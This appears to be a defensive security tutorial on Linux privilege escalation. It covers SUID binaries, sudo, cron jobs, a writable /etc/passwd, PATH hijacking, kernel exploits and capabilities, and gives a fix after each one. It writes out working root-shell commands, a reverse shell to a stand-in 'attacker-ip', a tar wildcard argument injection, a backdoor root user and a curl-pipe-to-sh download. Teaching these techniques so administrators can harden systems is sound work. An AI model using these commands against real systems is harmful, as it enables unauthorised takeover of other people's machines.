Linux Privilege Escalation: How Attackers Go from User to Root

An attacker does not need root access to break into your server. They need a low-privilege shell and one misconfiguration. Here is how they escalate — and how you prevent it.

Why Privilege Escalation Matters

Most initial compromises give an attacker limited access — a web application user, a service account, or a restricted shell. Privilege escalation is the step that turns a minor foothold into full system control.

Understanding these techniques is essential for defense. You cannot fix what you do not know is broken.

1. SUID/SGID Binaries

When a binary has the SUID bit set, it runs with the permissions of the file owner — usually root — regardless of who executes it.

# Find all SUID binaries on the system
find / -perm -4000 -type f 2>/dev/null
 
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

Some SUID binaries can be abused to spawn a root shell:

# If 'find' has SUID set
find . -exec /bin/sh -p \;
 
# If 'vim' has SUID set
vim -c ':!/bin/sh'
 
# If 'python' has SUID set
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Defense: Audit SUID binaries regularly. Remove the SUID bit from anything that does not need it:

# Remove SUID bit
chmod u-s /usr/bin/unnecessary-suid-binary
 
# List all SUID binaries and compare against a known-good baseline
find / -perm -4000 -type f 2>/dev/null | sort > /tmp/suid-current.txt
diff /tmp/suid-baseline.txt /tmp/suid-current.txt

2. Sudo Misconfigurations

The sudoers file controls who can run what as root. Misconfigurations are everywhere:

# Check what the current user can run with sudo
sudo -l

Dangerous sudoers entries:

# ❌ User can run vim as root — instant root shell
user ALL=(ALL) NOPASSWD: /usr/bin/vim

# ❌ User can run any command as any user
user ALL=(ALL) NOPASSWD: ALL

# ❌ User can run a script they can modify
user ALL=(ALL) NOPASSWD: /home/user/scripts/backup.sh

Exploiting these:

# vim with sudo
sudo vim -c ':!/bin/bash'
 
# less with sudo
sudo less /etc/shadow
# then type: !/bin/bash
 
# awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

Defense: Follow the principle of least privilege. Never grant sudo to editors, interpreters, or programs that can spawn shells. Use specific commands with full paths:

# ✅ Specific command, specific arguments
user ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx

3. Cron Job Exploitation

Cron jobs running as root that reference writable scripts or directories are easy targets:

# View system cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
 
# Check if any cron script is writable by the current user
find /etc/cron* -writable 2>/dev/null

If a root cron job runs /opt/scripts/backup.sh and you can write to that file:

# Overwrite the script with a reverse shell
echo '#!/bin/bash
bash -i >& /dev/tcp/attacker-ip/4444 0>&1' > /opt/scripts/backup.sh

Another vector — cron jobs that use wildcard expansion:

# If a cron job runs: tar czf /backup.tar.gz *
# In the target directory, create these files:
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > shell.sh

Defense: Ensure all scripts referenced by root cron jobs are owned by root and not writable by other users. Avoid wildcards in cron commands.

4. Writable /etc/passwd

On older systems or misconfigurations, /etc/passwd may be writable by non-root users:

# Check permissions
ls -la /etc/passwd
 
# If writable, add a root-level user
openssl passwd -1 -salt xyz password123
# Outputs: $1$xyz$...hash...
 
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
# You are now root

Defense: Ensure /etc/passwd is owned by root with permissions 644:

chmod 644 /etc/passwd
chown root:root /etc/passwd

5. PATH Hijacking

If a SUID binary or root cron job calls a program without its full path, you can hijack it:

# A SUID binary runs "service nginx restart" internally
# instead of "/usr/sbin/service nginx restart"
 
# Create a malicious "service" in a writable directory
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/service
chmod +x /tmp/service
 
# Prepend /tmp to PATH
export PATH=/tmp:$PATH
 
# Run the SUID binary — it calls your fake "service"
./vulnerable-suid-binary
/tmp/rootbash -p  # root shell

Defense: Always use absolute paths in scripts and SUID binaries. Set secure_path in sudoers:

Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

6. Kernel Exploits

Outdated kernels have known privilege escalation vulnerabilities:

# Check kernel version
uname -r
 
# Check for known exploits
# DirtyPipe (CVE-2022-0847) — Linux 5.8+
# DirtyCow (CVE-2016-5195) — Linux 2.6.22 to 4.8.3
# PwnKit (CVE-2021-4034) — polkit, affects most distros

Defense: Keep your kernel updated. Seriously. Use unattended-upgrades (Debian/Ubuntu) or equivalent for automated security patches.

# Enable automatic security updates (Debian/Ubuntu)
sudo apt install unattended-upgrades
sudo dpkg-reconfigure unattended-upgrades

7. Linux Capabilities

Capabilities are a finer-grained alternative to SUID, but they can also be exploited:

# Find binaries with capabilities
getcap -r / 2>/dev/null
 
# If python3 has cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Defense: Audit capabilities the same way you audit SUID binaries. Remove unnecessary ones:

setcap -r /usr/bin/unnecessary-capability-binary

Enumeration Tools

Use these to quickly find privilege escalation vectors:

# LinPEAS — comprehensive enumeration
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# LinEnum
./LinEnum.sh -t
 
# linux-exploit-suggester
./linux-exploit-suggester.sh

Run these against your own servers during security reviews. If they find something, an attacker will too.

Conclusion

Privilege escalation rarely requires a zero-day. It requires one misconfigured sudoers entry, one writable cron script, or one unpatched kernel. Audit your systems regularly: check SUID binaries, review sudoers, lock down cron jobs, keep your kernel updated, and use tools like LinPEAS to find what you missed. The attacker only needs one path to root. You need to close all of them.